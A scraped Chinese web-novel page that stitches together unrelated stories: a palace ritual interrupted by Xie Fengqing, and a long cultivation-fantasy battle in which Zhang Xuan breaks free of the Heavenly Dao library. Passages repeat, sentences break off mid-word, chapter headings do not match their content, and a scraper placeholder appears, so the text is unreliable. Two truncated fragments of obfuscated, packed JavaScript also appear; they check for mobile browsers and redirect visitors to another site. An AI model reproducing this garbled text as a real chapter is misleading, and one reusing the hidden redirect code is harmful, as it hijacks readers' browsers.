l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546015|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成员与百官依言再次叩首。 就在头颅低下、即将触地的瞬间—— “哒…哒…哒…” 一阵清晰、稳定、甚至带着几分悠闲意味的脚步声,突兀地打破了这片唯有风雪呼啸和祭文余音的死寂! 那脚步声不疾不徐,却仿佛带着千钧之力,每一步都精准地踏在心跳的间隙,踩在积雪之上,发出令人牙酸的咯吱声,由远及近,径直朝着宗祠正殿的方向而来! 是谁?!竟敢在如此庄严的祭典上,如此放肆?! 所有跪伏的人,都下意识地、艰难地、偷偷抬起眼皮,试图望向声音来源的方向! 就连御座上的皇帝萧睿,也猛地挺直了背脊,目光惊疑不定地循声望去! 太皇太后捻动佛珠的手指,骤然停顿! 在无数道惊骇、疑惑、恐惧的目光注视下,一道身影,自风雪弥漫的广场尽头,缓缓行来。 她未着朝服,未戴珠翠,只一身素白如雪的长裙,外罩一件玄色绣金凤的宽大斗篷。乌黑的长发并未繁复绾起,仅用一根简单的桃木簪松松束在脑后,几缕发丝被风吹拂,掠过她苍白却毫无表情的脸颊。 是谢凤卿! 她的手中,并未持任何礼器,反而握着一柄连鞘的长剑。剑鞘是古朴的暗红色,仿佛浸染了无数岁月的风霜与血色。 更令人触目惊心的是,她那身素白长裙的裙摆和下裳之上,竟沾染着大片早已干涸、呈现出暗褐色的斑驳血迹!如同雪地中绽开的妖异红梅,刺目惊心! 她就那样,在漫天风雪中,一步步走来。风雪扑打在她身上,却无法让她有丝毫动摇。她的目光平视前方,清澈而冰冷,如同两口深不见底的寒潭,倒映着这肃穆的宗祠、黑压伏的人群,以及那高高在上的御座。 她径直穿过跪伏的百官队列,无视了所有惊愕的目光,一步步,走上了宗祠正殿前那高高的汉白玉台阶。 最终,她停在了那尊香烟缭绕的青铜夔纹大鼎之前。 然后,她缓缓转过身,面向下方黑压压的宗室和百官,面向御座上的皇帝和太皇太后。 “铿——” 一声清越的金属摩擦声! 她拔出了那柄暗红色剑鞘中的长剑! 剑身并非寻常钢铁的银白,而是一种极其纯净、近乎透明的绯红色,在漫天雪光的映照下,流淌着如同桃花瓣般的凄艳光泽,剑锋所指,空气仿佛都被割裂开来! 桃花剑! 她竟将兵刃,带入了皇家宗祠圣地!并且,横亘于祭祀重鼎之前! “谢凤卿!”皇帝萧睿再也无法维持镇定,猛地从龙椅上站起身,声音因惊怒而尖锐颤抖,“你……你要做什么?!此乃宗祠重地,岂容你持械放肆!还不退下!” 然而,他的呵斥,在谢凤卿那冰冷沉静的目光下,显得如此苍白无力。 谢凤卿根本未曾看他一眼。 她的目光,如同冰冷的探针,缓缓扫过下方那些因恐惧而剧烈颤抖的宗室成员的后背。 然后,她缓缓抬起左手。她的手中,不知何时,多了一本薄薄的、封面没有任何字迹、却仿佛重逾千钧的册子。 她将册子举起,让那本册子暴露在风雪之中,暴露在所有人的目光之下。 她的声音清冷平静,却如同蕴含着万载寒冰,清晰地、一字一句地,压过了风雪的呼啸,传遍了整个死寂的广场: “肃静。” 仅仅两个字,却带着无上的威严和冰冷的杀意,瞬间让所有窃窃私语和骚动彻底平息。连风雪声似乎都小了些许。 “今日,于萧氏列祖列宗牌位之前,”谢凤卿的声音继续响起,如同在进行一场冰冷的审判,“本帅,受天下兵马大元帅之职,代天巡狩,整肃纲纪。” 第43章萧室皇族的罪孽 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546016|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第44章宗室最后的底牌 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 